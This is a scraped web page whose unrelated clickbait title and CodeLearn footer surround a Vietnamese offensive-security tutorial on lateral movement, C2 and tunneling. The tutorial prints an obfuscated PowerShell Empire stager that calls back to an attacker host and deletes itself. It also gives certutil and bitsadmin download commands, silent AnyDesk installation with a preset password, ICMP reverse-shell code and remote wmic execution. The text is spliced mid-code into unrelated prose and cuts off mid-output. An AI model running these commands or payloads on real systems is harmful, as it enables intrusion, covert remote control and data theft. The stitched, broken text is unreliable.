Khắc phục lỗi không kết nối sever memory hacker năm 2024

CodeLearn is an online platform that helps users to learn, practice coding skills and join the online coding contests.

Links

Learning

Training

Fights

Information

About Us

Terms of Use

Help

Help

Discussion

Powered by CodeLearn © 2024. All Rights Reserved. rev 2/24/2024 9:44:06 AM

# Lateral Movement & Pivoting ## Khái niệm - Là một kỹ thuật attacker dùng để "đi sâu" hơn vào network - Được hacker dùng khi đã có được initial access vào system - 60% các cuộc tấn công có sử dụng lateral movement - Red Canary ## Vì sao cần? - Khi có được initial access thì thường attacker vẫn chưa đạt được chủ ý ban đầu => Attacker cần tấn công sâu hơn vào network để tìm kiếm thông tin, đạt được mục đích ## Attack Vector - Attacker dựa vào những tiện ích, dịch vụ và công cụ có sẵn trên hệ thống để tiến hành leo thang quyền hạn, tấn công lan sang các máy lân cận - Bên cạnh đó attacker cũng tận dụng những thông tin đã thu thập được như email, username, ... để thực hiện các kỹ thuật social - Lợi dụng các thông tin thu thập được để tạo ra các wordlist phục vụ cho việc bẻ khóa mật khẩu [bruteforce, ...] - Attacker dựa vào các lỗ hổng trong dịch vụ, công cụ, hệ điều hành trong các machines khác trong mạng để tấn công lan ## Sections ### Lateral Tool Transfer - Attacker sẽ truyền tải các file, công cụ qua lại giữa các hệ thống bị kiểm soát nhằm tải lên các mã khai thác, tải về các file tài liệu quan trọng, phát tán malware, ... - Attacker thường sẽ sử dụng các công cụ, dịch vụ hợp lệ và có sẵn [cmd, SMB, ftp, ...] để giảm thiểu khả năng bị phát hiện bởi các hệ thống IDS #### CMD - CMD là công cụ sẵn có và giúp thực hiện nhiều tác vụ trên windows qua CLI - CMD có thể tương tác với hệ thống, thực thi các tiến trình, đọc/sửa/xóa/copy các file, thư mục - CMD được lợi dụng nhiều bởi các cuộc tấn công bởi tính sẵn có. #### PSEXEC - PsExec là công cụ builtin của windows cho phép chạy một tiến trình bất kì ở các window machines khác - PsExec thường được sử dụng bởi các IT Administrator và cả attacker - Attacker dùng PsExec để truyền tải các file, công cụ khác qua lại giữa các máy, cũng như có thể được dùng để chạy các tiến trình trên nhiều máy khác nhằm tấn công lây lan #### FTP - FTP là một giao thức truyền tải các tập tin qua mạng, được sử dụng rộng rãi ở cả windows và linux - Bên cạnh tiện ích giao thức này mang lại thì nó cũng được sử dụng bởi attacker để truyền tải các file, công cụ qua lại giữa các máy nhằm phát tán mã khai thác, malware hoặc tải về các file thông tin nhạy cảm #### SSH - Một giao thức giúp các admin truy cập và quản lý máy từ xa, được sử dụng phổ biến ở linux - Attacker có thể lợi dụng SSH theo cách tương tự như FTP để truyền tải file thông qua SCP [Secure Copy Protocol] #### SMB - Là một giao thức chia sẽ files và printers giữa các nodes trong mạng được phát triển bởi IBM - Được sử dụng phổ biến, cũng là một thành phần dễ bị attacker lợi dụng - Một lỗ hổng trong SMB từng bị lợi dụng bởi ransomeware WannaCry để tự phát tán trong mạng, là một trong những vụ tấn công ransomeware nghiêm trọng nhất từng xảy ra //github.com/fortra/impacket/blob/master/examples/smbserver.py #### Certutil - Là một chương trình cli dùng để hiển thị thông tin cấu hình của CA [certification authority], cùng nhiều tác vụ khác liên quan đến certificates như verify, backup, restore, ... - Certutil có thể được dùng để tải về một file tử internet, có thể bị lợi dụng để tải về các mã khai thác hay tải về các file tài liệu từ các host khác cùng mạng ``` certutil.exe -urlcache -f //10.0.0.5/40564.exe bad.exe ``` #### Powershell - Là một command shell, cung cấp nhiều feature nổi bật hơn so với cmd như tab completion, pipeline cùng với nhiều cmdlet hữu ích - `Invoke-WebRequest` - một cmdlet giúp gửi một HTTP Request đến một URL, có thể bị lợi dụng để tải về các mã khai thác, malware, ... - Nhờ vào tính "feature-rich" của PowerShell mà attacker có thể lợi dụng nó vào rất nhiều mục đích khác nhau - Ví dụ như [PowerCat][//github.com/besimorhino/powercat] giúp tạo một reverse shell connect về lại server của attacker #### bitsadmin - Là một command-line tool, dùng để tạo, download, upload các jobs và monitor tiến trình của chúng - Có thể bị lợi dụng để tải về các mã khai thác, malware, ... ``` bitsadmin /addfile myDownloadJob //downloadsrv/10mb.zip %temp%\10mb.zip ``` #### Others: at.exe, schtasks.exe, curl, wget, netcat, ncat, iwr, cscript, wmic, ... ### Getting inside - Sau khi có được initial access vào hệ thống, attacker sẽ cố gắng xây dựng một môi trường đầy đủ hơn để tương tác với server - Lấy ví dụ attacker đã tìm ra cách để thực thi OS command lên server, attacker lúc này sẽ cố gắng chạy một số lệnh yêu cầu **interactive shell** như `sudo -l` nhằm liệt kê ra các binaries mà attacker có thể chạy với quyền root bằng user hiện để tìm cách leo quyền - Nhưng khi gõ lệnh này thì `sudo` sẽ yêu cầu ta nhập password, `sudo` lại không có option nào để specify password trong câu lệnh. Lúc này attacker dù có valid credentials nhưng cũng không thể nhập được vì cách attacker thực thi OS command là gửi và nhận về chứ **không có sự tương tác với shell**. Vào lúc này attacker sẽ cần tìm cách để tạo một **interactive shell** - Việc này sẽ giúp attacker thuật tiện hơn trong các thao tác, cũng như có thể truy cập được vào nhiều tính năng của hệ thống hơn #### Interactive shell - Trong ví dụ OS command injection, attacker lúc này đang thực thi các OS command thông qua một **non-interactive shell** - **Non-interactive shell** nghĩa là user chỉ có thể submit command lên và sau đó nhận về kết quả cuối cùng được in ra **stdout** [standard output], ngoài ra user sẽ không thể tương tác được gì khác [ví dụ như nếu chương trình đó yêu cầu nhập input thì sẽ không nhập được] - Một ví dụ của non-interactive shell là khi ta thực thi os command bằng php, nếu ta thử thực thi câu lệnh `top` thì ta sẽ thấy trình duyệt bị đứng ![][//i.imgur.com/COUXEVi.png] - Đó là do lệnh `top` chưa kết thúc, vì thế nên php chưa trả về kết quả cho ta => trình duyệt treo do chưa nhận được response - Còn đối với một môi trường interactive shell, ví dụ như khi ta gõ `top` trực tiếp trong terminal thì ta có thể tương tác được với câu lệnh [bấm nút lên xuống] => vậy câu lệnh chưa kết thúc là để ta tương tác với nó - Vậy như ở ví dụ khi nãy, để lấy được interactive shell attacker đầu tiên sẽ cố gắng tạo một reverse shell, sau đó dùng lệnh bên dưới: ``` python3 -c 'import pty;pty.spawn["/bin/bash"]' ``` - Lệnh này sẽ dùng để tạo một **pseudo-terminal** và thực thi binary `/bin/bash` bên trong terminal đó, mực đích là để tạo ra một môi trường mô phỏng lại cái terminal và interact được với terminal đó #### SSH - Ngoài cách tạo reverse shell trên, nếu attacker có valid credentials thì hắn có thể kết nối với SSH để có một interactive shell. #### Desktop access - Đối với linux, attacker có thể lợi dụng VNC đang chạy trên host của victim thông qua việc tấn công vào các lỗ hổng hoặc người dùng để có được quyền truy cập, sau đó VNC sẽ cho phép attacker truy cập vào giao diện graphic của host victim, từ đó attacker có thể sử dụng được nhiều tác vụ hơn - Đôi khi VNC sẽ không cần authentication, đây là một lỗ hổng trong quá trình cấu hình VNC - Đối với windows, có một builtin service dùng để truy cập vào giao diện graphic của windows và điều khiển máy đó từ xa, đó là RDP. Nếu tìm ra cách truy cập vào RDP của host victim, attacker sẽ có thể thực hiện được nhiều tác vụ hơn, từ đó tấn công sâu hơn vào hệ thống - Attacker có thể dùng các lỗ hổng của RDP [zerologon là một ví dụ], hoặc tấn công social engineering vào người dùng để dành được quyền truy cập vào RDP ##### Ngoài ra attacker đôi khi không dựa vào những cái sẵn có - Một số attacker sẽ cố gắng transfer/download một số phần mềm remote desktop khác và cài đặt nó trên máy của user [ví dụ như AnyDesk]. - Với ví dụ của AnyDesk, phần mềm này cung cấp một tính năng vô cùng tiện lợi cho cả user và attacker, đó là giao diện dòng lệnh - AnyDesk có thể được install bằng cli command, cũng như chạy bằng CLI command: + download file rồi lưu vào %temp%\anydesk.exe : ``` certutil.exe -urlcache -f //anydesk.com/en/downloads/windows?dv=win_exe %temp%\anydesk.exe ``` + chạy file từ download và install vapf %temp%\anydesk ``` %temp%\anydesk.exe --install %temp%\anydesk --silent ``` + set password cho anydesk ``` echo abc | %temp%\anydesk\anydesk.exe --set-password ``` + chạy anydesk ``` %temp%\anydesk\anydesk.exe --start ``` - Từ đây attacker có thể dùng một anydesk client để kết nối đến anydesk bên kia, truy cập vào giao diện graphic - Anydesk có thể chạy trên cả windows và linux - AnyDesk cũng đã có các khuyến cáo cho người dùng nhằm ngăn chặn các cuộc tấn công dựa trên AnyDesk: //anydesk.com/gb/abuse-prevention ##### Occured incidences - Trong nhiều cuộc tấn công, nhóm hacker **revil** [Ransomware Evil là một nhóm hacker Nga] đã install các phần mềm remote desktop như AnyDesk và ScreenConnect để truy cập vào hệ thống của victim thông qua RDP //techxmedia.com/understanding-revil-the-ransomware-gang-behind-the-kaseya-attack/ - Sau BazarLoader malware được kích hoạt trên máy của các victim, các kẻ tấn công truy cập vào máy của nạn nhân và install các ứng dụng remote access như AnyDesk và FileZilla [một FTP client] //thedfirreport.com/2021/12/13/diavol-ransomware/ ### Command and Control [C&C] Frameworks - Khi thành công kiểm soát được nhiều host / networks, attacker cần một công cụ để kiểm soát tất cả các hosts đó để có thể scale up cuộc tấn công, duy trì việc kiểm soát đối với nhiều host trong thời gian dài - Có rất nhiều C&C [C2] Framework được sử dụng, trong đó có 2 cái tên nổi bật: + **Cobalt Strike** - paid + **Empire** - free - Ta sẽ focus vào PowerShell Empire, vì nó free. Empire có các chức năng nổi bật: + Dùng powershell [khi mục tiêu là windows] và python [khi mục tiêu là linux] + Tự động sử dụng proxy trên máy mục tiêu [nếu có] để giao tiếp với C2 + Profiles của C2 - các thông số như protocol, http url, user agent, callback time, lost limit, jitter, encryption key có thể được chỉnh sửa để tránh bị detect bởi AV + Có thể chạy **powershell** mà không cần chạy **powershell.exe** + Có các module để obfuscate source code, payload, *stagers + ... #### Chú thích: - ***stagers**: Một payload sẽ bao gồm 2 phần: stage và stagers. Stagers là một program nhỏ được dùng để download stage về, inject stage vào memory và execute nó. ### Setup Empire #### Installation - Làm theo //github.com/BC-SECURITY/Empire - Install **starkiller** - GUI client của empire. ```bash sudo wget //github.com/BC-SECURITY/Starkiller/releases/download/v1.3.2/starkiller-1.3.2.AppImage && mv starkiller-1.3.2.AppImage starkiller ``` - Sau đó `sudo ./ps-empire server`, mặc định empire server sẽ chạy trên port 1337 - Chạy starkiller: `./starkiller` - Mặc định creds để login vào empire server là **empireadmin**:**password123** #### Các thành phần của empire server - 3 thành phần chính của empire là listeners, stagers và agents: + listeners - tạo ra các listeners để nhận connection từ stagers + stagers - có thể hiểu là payload được gửi đến victim nhằm nhận về reverse shell + agents - những machine đã được controled - Các thành phần khác gồm có: + modules - giúp ta thực thi nhiều hành động khác nhau trên các agents [lock màn hình, zip các folders, restart machine, ...] + credentials - giúp ta quản lý các credentials đã tìm được + reporting - giúp ta xem lại những modules ta đã execute trên các agents #### Basic usage - Khi ta chạy empire server, một webserver sẽ được start lên, cung cấp các api nhằm giúp client thực hiện các tác vụ kiểm thử. ![][//i.imgur.com/fQjpiqu.png] - Giờ ta sẽ xem qua cách sử dụng - Đầu tiên ta tạo một HTTP listener, các thông số của một listener gồm có: + name - tên của listener + host, port - host và port của attacker để listener chạy webserver trên đó + BindIP - IP address để listen + Headers - Các headers được sử dụng khi web server response + Profile - chứa các endpoint của web server để stager request đến lấy payload + StagingKey - key để stager decrypt payload sau khi down về từ web server + ... ![][//i.imgur.com/DiPiIeb.png] - Tiếp theo là tạo một stager để deliver payload đến victim machine, ta tạo một multi/bash stager [dành cho linux]: ![][//i.imgur.com/iwQsXjA.png] + listener - là listener khi nãy ta mới tạo + language - python vì ta đang nhắm đến máy linux + tại optional fields ta có thể tùy chỉnh outfile để nó ghi ra một file cho ta thuận tiện upload lên server - Sau khi hoàn thành ta deliver stager vừa tạo đến victim machine và execute nó, sau đó ta sẽ được một agent mới - chính là máy ta vừa control được: ![][//i.imgur.com/dqSrkSW.png] - Ta thử thực hiện port scan module để scan port của ip 10.10.14.27 từ agent hiện tại ![][//i.imgur.com/tkMOQhn.png] ![][//i.imgur.com/qKoVXhX.png] - Tại tab reporting ta sẽ thấy các lệnh/module ta đã thực thi trên machine của victim ![][//i.imgur.com/u9mBkXG.png] #### Under the hood - Hãy tìm hiểu xem sau khi stager được thực thi thì điều gì đã xảy ra, đầu tiền ta đọc source code stager: ```bash! #!/bin/bash echo "import sys,base64,warnings;warnings.filterwarnings['ignore'];exec[base64.b64decode['aW1wb3J0IHN5czsKaW1wb3J0IHJlLCBzdWJwcm9jZXNzOwpjbWQgPSAicHMgLWVmIHwgZ3JlcCBMaXR0bGVcIFNuaXRjaCB8IGdyZXAgLXYgZ3JlcCIKcHMgPSBzdWJwcm9jZXNzLlBvcGVuKGNtZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKb3V0LCBlcnIgPSBwcy5jb21tdW5pY2F0ZSgpOwppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKTsKCmltcG9ydCB1cmxsaWIucmVxdWVzdDsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xNC4yNzo0NDQ0Jzt0PScvYWRtaW4vZ2V0LnBocCc7CnJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHNlcnZlcit0KTsKcHJveHkgPSB1cmxsaWIucmVxdWVzdC5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYi5yZXF1ZXN0LmJ1aWxkX29wZW5lcihwcm94eSk7Cm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JyxVQSksICgiQ29va2llIiwgInNlc3Npb249ZDdtZm00Z2dDdEFINGUwV2JiVXNrWTFVVVVVPSIpXTsKdXJsbGliLnJlcXVlc3QuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdOwpkYXRhPWFbNDpdOwprZXk9SVYrJ3xTVlovdyxIT25jPzxKLXN0JVUxRn4uYTkpRGkyQllUJy5lbmNvZGUoJ1VURi04Jyk7ClMsaixvdXQ9bGlzdChyYW5nZSgyNTYpKSwwLFtdOwpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKaT1qPTA7CmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NjsKICAgIGo9KGorU1tpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSk7CmV4ZWMoJycuam9pbihvdXQpKTs=']];" | python3 & rm -f "$0" exit ``` - Stager đã được obfuscate để giảm khả năng bị detect, trước khi hoàn thành execution thì stager cũng bị xóa nhằm xóa dấu vết - Tóm gọn thì đoạn script stager chính đã được base64 encode, decode ra ta được: ```python! import sys; import re, subprocess; cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen[cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE] out, err = ps.communicate[]; if re.search["Little Snitch", out.decode['UTF-8']]: sys.exit[]; import urllib.request; UA='Mozilla/5.0 [Windows NT 6.1; WOW64; Trident/7.0; rv:11.0] like Gecko';server='//10.10.14.27:4444';t='/admin/get.php'; req=urllib.request.Request[server+t]; proxy = urllib.request.ProxyHandler[]; o = urllib.request.build_opener[proxy]; o.addheaders=[['User-Agent',UA], ["Cookie", "session=d7mfm4ggCtAH4e0WbbUskY1UUUU="]]; urllib.request.install_opener[o]; a=urllib.request.urlopen[req].read[]; IV=a[0:4]; data=a[4:]; key=IV+'|SVZ/w,HOnc? attacker leak được thông tin - Data cũng sẽ được phân nhỏ ra và truyền nhiều lần rồi sau đó mới ghép lại ở đầu bên kia để tránh bị detect bởi các rule về size - Ngoài ra DNS tunneling cũng có thể được dùng để thiết lập kênh liên lạc giữa C&C server đến các compromised hosts - Một ví dụ cho điều này là Chashell, công cụ hoạt động dựa vào nguyên lý DNS query và answer bằng các TXT Type question ![][//i.imgur.com/zET7zyu.png] - Chashell sẽ gửi các TXT query nhằm kiểm tra command queue ở C&C, nếu có command thì C&C sẽ response về một gói answer để chashell biết command gửi về được chia thành bao nhiêu chunk, sau đó client sẽ lần lượt gửi các TXT query để nhận hết các chunks về, sau đó thực thi và cũng vẫn chia kết quả thành các chunk và gửi về trong các gói TXT query ###### Occured Incidences - DNS tunneling đã được sử dụng bởi các nhóm APT **Pawn Storm** [một tên gọi khác của Fancy Bear] để trích xuất dữ liệu nhạy cảm từ các tổ chức bị tấn công năm 2016 - Năm 2018, DNS tunneling cũng được sử dụng bởi **Fancy Bear** để thiết lập kênh giao tiếp giữa các compromised hosts với C&C server - Năm 2019, **BeagleBoyz** đã sử dụng DNS tunneling để trích xuất dữ liệu nhạy cảm từ các hệ thống Point-of-Sale ##### ICMP Tunneling - Brief qua về cách hoạt động của ICMP: + ICMP packet stucture: ![][//i.imgur.com/fEEUARg.png] + ICMP message types: ![][//i.imgur.com/QqZx0Mb.png] + ICMP thường được dùng trong chẩn đoán mạng, bởi các công cụ như ping, traceroute, ... - Đây là kỹ thuật lợi dụng giao thức ICMP để giao tiếp với C&C server - Mục đích có thể là để truyền tải thông tin đánh cắp được về C&C hoặc là gửi các câu lệnh shell đến một agent ở phía victim nhằm thực thi các tác vụ và lấy về kết quả câu lệnh thông qua ICMP - Attacker hay lợi dụng ICMP để tạo tunnel vì một số firewall không có rule set dành cho ICMP. Để đối phó với các firewall có áp dụng các rules dành cho ICMP, cũng như các phần mềm audit traffic, các advisory thường sẽ thêm chức năng mã hóa các thông tin [command, command's result, leak data, ...] truyền nhận trong ICMP tunnel, cũng như chia nhỏ data và gửi nhiều lần để tránh các rule set về packet size - Để demo một reverse shell sử dụng ICMP tunnel, ta sẽ dùng [ICMPdoor][//github.com/krabelize/icmpdoor/] - Cách hoạt động của ICMPdoor rấy đơn giản, sử dụng các gói ICMP với type 0 và type 8 để giao tiếp với nhau ```python=

icmp-cnc.py icmppacket = [IP[dst=args.destination_ip, ttl=TTL]/ICMP[type=0, id=ICMP_ID]/Raw[load=payload]] sr[icmppacket, timeout=0, verbose=0] ``` ```python=

icmpdoor.py icmppacket = [IP[dst=args.destination_ip, ttl=TTL]/ICMP[type=0, id=ICMP_ID]/Raw[load=payload]] sr[icmppacket, timeout=0, verbose=0] ```` - Vì được tạo ra với mục đích demonstrate cách hoạt động của ICMP tunneling nên công cụ này còn nhiều khuyết điểm đối với những công cụ được dùng trong các cuộc tấn công APT như: + Chưa mã hóa communication traffic, vẫn còn ở dạng raw text + Chưa chia nhỏ command/output, dễ bị detect với packet size lớn ##### Occured Incidences - Trong một chiến dịch gián điệp tên "**Nitro**", các kẻ tấn công đã sử dụng một đường hầm ICMP để thiết lập một kênh giao tiếp giữa client và C&C server nhằm kiểm soát từ xa - Năm 2014, nhóm hacker APT28 [nhóm Fancy Bear của Nga] đã được báo cáo sử dụng kỹ thuật ICMP tunneling để âm thầm trích xuất các dữ liệu nhạy cảm mà không bị phát hiện #### VPN tunneling - Trong các tổ chức, nhiều VPN có thể được dựng nên để cung cấp quyền truy cập vào các phần mạng khác nhau cho nhân viên, người điều hành - Nhưng sự tiện lợi lại không đi đôi với bảo mật, nếu tìm ra cách truy cập vào vpn này [ có thể thông qua lỗ hổng bảo mật, thông qua valid credentials hoặc social engineering] attacker có thể truy cập được vào phần mạng nội bộ của VPN đó và tiến hành tấn công sâu hơn - Trong vụ của Uber thì attacker đã dùng kỹ thuật Social Engineering để có được quyền truy cập vào VPN nội bộ của Uber #### HTTP tunneling - Là một kỹ thuật tunneling được sử dụng khi máy đích nằm phía sau một firewall và firewall này chỉ cho phép các kết nối HTTP - Attacker lúc này nếu muốn connect vào một service đang chạy trên port bất kì trên máy victim hoặc một host nào đó cùng mạng [SSH, RDP chẳng hạn] thì sẽ bị ruleset ở firewall chặn lại và connection sẽ không được thiết lập - Vì vậy nên nếu attacker có thể tải lên compromised host một HTTP client thì attacker có thể thông qua HTTP client này để gửi dữ liệu đến đến port đang chạy service mà attacker cần tương tác - Để hiểu rõ hơn đã có thể xem diagram sau: ![][//i.imgur.com/GJAvZyV.png] - HTTP client sẽ nhận HTTP request từ attacker, payload của HTTP request đó lúc này sẽ chính là data mà attacker muốn gửi tới service bên trong mạng nội bộ [nếu là SSH thì payload này sẽ là toàn bộ nội dung của một SSH packet], HTTP client ở compromise host lúc này sẽ lấy toàn bộ payload đó và forward đến service [trong hình trên là SSH]. - Nếu service gửi lại packet thì HTTP client sẽ đóng gói data trong packet này và gửi vào trong phần payload [body] của HTTP response và trả về cho attacker - Cứ như thế một HTTP tunnel sẽ được thiết lập và attacker sẽ giao tiếp với service kia như bình thường [thông qua HTTP client] - **Case**: ngày xưa HTTP tunneling thường hay được mình sử dụng để truy cập vào service RDP của các máy windows khi đã có valid credentials nhằm chiếm luôn con VPS dìa sài :]]] #### Many more - Ngoài ra còn nhiều các kỹ thuật tunneling khác như RPC tunneling, SMB tunneling, ... #### Protecting C2 Traffic - Bên cạnh việc bảo vệ traffic giữa C2 và agents bằng SSL/TLS để encrypt payload thì ta có thể kết hợp với các tunneling techniques nhằm bypass qua các ruleset của firewall - Ví dụ như host đích nằm ở phía sau một firewall, firewall này chặn các traffic HTTP thì ta có thể sử dụng SSH để tạo một tunnel giữa C2 [hoặc redirectors] với agents và truyền dữ liệu qua tunnel này ![][//i.imgur.com/9qbRksX.png] #### Conclude the tunneling, port forwarding section - Vậy tóm lại kỹ thuật tunneling chính là việc ta bọc kết nối của một giao thức bằng kết nối của một giao thức khác - Giống như cách mà các host giao tiếp HTTP vậy, bản chất của việc các host giao tiếp HTTP với nhau là các host đó đang bọc các gói HTTP bằng một kết nối TCP - Khi các firewall nhìn vào các tunneling connection này thì nó sẽ chỉ nhìn thấy giao thức được sử dụng để tunnel, từ đó giúp ta bypass qua các ruleset #### Practice lab HTB - Granny machine ### Surface scanning - Internal reconnaissance - Sau khi có được initial access, attacker thường sẽ muốn tấn công sâu hơn vào mạng thông qua việc lợi dụng các feature, vulnerabilities tồn tại trong hệ thống để có thể leo thang đặc quyền/tấn công lây lan qua các hosts và networks lân cận nhằm truy cập được vào các thông tin giá trị hơn - Surface scanning chính là kỹ thuật nhằm do thám các thông tin về bản thân host đó và toàn bộ mạng - Các thông tin mà attacker thường chú ý thu thập có thể kể đến như các services đang chạy, các program đã được installed của các hosts trong network, các networks mà host đó kết nối tới. Từ đó attacker có thể phát hiện ra các lỗ hổng, sai sót trong hệ điều hành, phần mềm, dịch vụ, cấu hình mạng, ... nhằm tấn công sâu hơn vào bên trong hệ thống #### Testing current host ##### Operating System - Thông qua việc biết được hệ điều hành cũng như phiên bản hiện tại của hệ điều hành đó, attacker có thể khai thác các lỗ hổng đã được biết đến [cũng như zero-day] nhằm thực hiện các hành vi độc hại như leo thang đặc quyền, làm tê liệt hệ thống [shutdown], ... - Tên hệ điều hành cũng là một trong những thông tin mà attacker thu thập được trong quá trình recon từ ngoài intranet. - Attacker có thể thu thập được các thông tin này bằng cách suy đoán dựa trên các thông tin trong một gói packet được trả về từ host đó [các packet được gửi bởi các OS khác nhau sẽ có các dấu hiệu khác nhau]. Một trong những công cụ tự động hóa kỹ thuật này đó là nmap - Một số hệ thống có thể modify packet trả về client nhằm giảm thiểu khả năng bị các công cụ như nmap phân tích và xác định thông tin về hệ điều hành - Đối với việc kiểm tra thông tin hệ điều hành sau khi đã vào được bên trong thì quá đơn giản, việc đơn giản này lại rất quan trọng đối với attacker - Với cương vị là quản trị hệ thống, ta sẽ cần cập nhật các bản vá của hệ điều hành thường xuyên nhằm tránh tạo cơ hội cho attacker ##### Check for other users and groups - Thông tin liên quan đến các users và groups trong một hệ thống cũng là một trong những thông tin vô cùng hữu ích đối với attacker - Dựa trên các thông tin này, attacker có thể thực hiện nhiều kỹ thuật tấn công khác như privilege escalation, password attack, remote session hijacking ###### Windows - Một số câu lệnh có thể được sử dụng để tìm kiếm thông tin về các users và groups bằng cmd: ``` whoami => xem user hiện tại net user => xem tất cả user tồn tại trên hệ thống net group => xem tất cả các groups tồn tại trên hệ thống wmic useraccount list full => xem toàn bộ thông tin của tất cả các user trên hệ thống ``` - `net` là một câu lệnh CLI cho phép thực hiện các tác vụ lên các groups, users, các policies đối với các users [ví dụ như quy định password tối thiểu dài bao nhiêu, thời gian bị lock khi login sai quá nhiều], ... - **wmic** là một tiện ích của windows, cung cấp giao diện dòng lệnh hỗ trợ các người quản trị hệ thống giúp người quản trị lấy được các thông tin về phần cứng, phần mềm, config, các app đã cài cũng như thực hiện vô vàn tác vụ khác trên một hệ thống [local hoặc remote] thông qua WMI [một công nghệ của windows cho phép các admin, dev truy cập và điều khiển tài nguyên trên một máy tính]. - Ngoài việc được sử dụng bởi các IT administrator, công cụ này còn được lợi dụng bởi các attacker để truy cập bất hợp pháp vào các hệ thống và thực thi các câu lệnh từ xa. **wmic** mặc định được enable trên windows và các hacker thì sẽ rất thích những thứ có sẵn do nó sẽ giúp attacker bớt tốn công sức cũng như ít bị phát hiện hơn ``` wmic /node: process call create "cmd.exe /c echo Hello World" ``` - Để có thể sử dụng WMIC [hoặc các công cụ khác] để kết nối đến WMI của một máy từ xa, thì máy đó sẽ cần chạy WMI service [mặc định windows có chạy] và được cấu hình [firewall] để chấp nhận các kết nối tới. - Ngoài ra, remote machine cũng cần expose RPC [có thể hiểu nôm na RPC là một dependency của WMI nhằm cung cấp chức năng kết nối và quản lý từ xa] ở port 135 và cấu hình để chấp nhận các kết nối tới. - Nhiều biện pháp bảo mật đã được sử dụng để ngăn chặn attacker thực hiện các kết nối WMI bất hợp pháp: + Cấu hình các firewall [cứng hoặc mềm] để chỉ cho phép các kết nối WMI từ các nguồn đáng tin cậy + Sử dụng authentication + Giám sát các kết nối WMI trong network + ... - Như đã học ở phần tunneling, attacker có thể dùng các kỹ thuật tạo network tunnel nhằm bypass qua các firewall ở giữa và thiết lập kết nối WMI đến remote host phía sau firewalls ###### Linux - Thông tin về các users, groups sẽ được lưu đầy đủ nhất trong 2 file lần lượt là `/etc/passwd` và `/etc/group`. Bằng cách đọc nội dung của 2 file này ta có thể tìm ra tất cả thông tin của users và groups trên hệ thống [có thể dùng cat, more, ...] ```bash cat /etc/passwd cat /etc/group ``` - Ta cũng có thể dùng câu lệnh `getent` [giúp lấy các entry từ các administrative databases trong hệ thống, các database này là các file text lưu ở `/etc`] để lấy nội dung từ 2 file `/etc/passwd` và `/etc/group` ``` getent passwd getent group ``` - Ta có thể sử dụng câu lệnh `id ` hoặc `groups ` để xem thông tin về các groups của một user [user đó thuộc các groups nào]: ``` ┌─[✗]─[shin24@shin24-Legion-5-15ACH6H]─[~] └──╼ $id shin24 uid=1000[shin24] gid=1000[shin24] groups=1000[shin24],4[adm],24[cdrom],27[sudo],30[dip],46[plugdev],122[lpadmin],132[lxd],133[sambashare],136[docker] ``` - Ngoài ra, bằng cách sử dụng câu lệnh `ls -l`, ta sẽ xem được owner của các files, cũng như group của user đó. Đây có thể xem là một hạ sách nếu server giới hạn quá nhiều câu lệnh - Bằng Cách sử dụng lệnh `w`, ta có thể xem được các users đã logged in trên server [nói cách khác là các active sessions hiện tại]. ##### netstat for running services - **netstat** là công cụ dùng để hiển thị trạng thái của network, cho user xem được các service nào đang chạy trên các port nào, các địa chỉ nào đang [được] kết nối tới, ... - Công cụ này thường được sử dụng bởi IT administrator để chẩn đoán và giám sát mạng - Lợi dụng công cụ này, attacker có thể xem các service nào đang được chạy, từ đó tìm kiếm và khai thác các lỗ hổng có sẵn trong các service này để đạt được nhiều mục đích như leo thang đặc quyền, truy cập bất hợp pháp từ xa, ... - Ngoài ra attacker cũng có thể biết được các địa chỉ nào đang thiết lập kết nối với host hiện tại, biết được sự hiện diện của các host này attacker có thể thực hiện tấn công lây lan sang các host đó ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~] └──╼ $netstat -t Active Internet connections [w/o servers] Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 shin24-Legion-5-1:55786 static.cmcti.vn:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:59752 a865a9e11bs2c0d65:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43700 hkg047s24-in-f1.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:45592 91.118.56.174:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:47674 hkg047s24-in-f10.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:60260 91.118.56.174:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:55798 static.cmcti.vn:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:35234 cache.google.com:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:48512 sin10106-in-f67.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:49830 hkg047s24-in-f222.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43512 hkg047s24-in-f222.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43518 hkg047s24-in-f222.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:38750 a865a1e12bc2c0d65:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:59758 a865a1e12bc2c0d65:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:53731 10.0.67.155 tcp 0 0 shin24-Legion-5-1:8080 10.0.67.10:https ESTABLISHED tcp 0 0 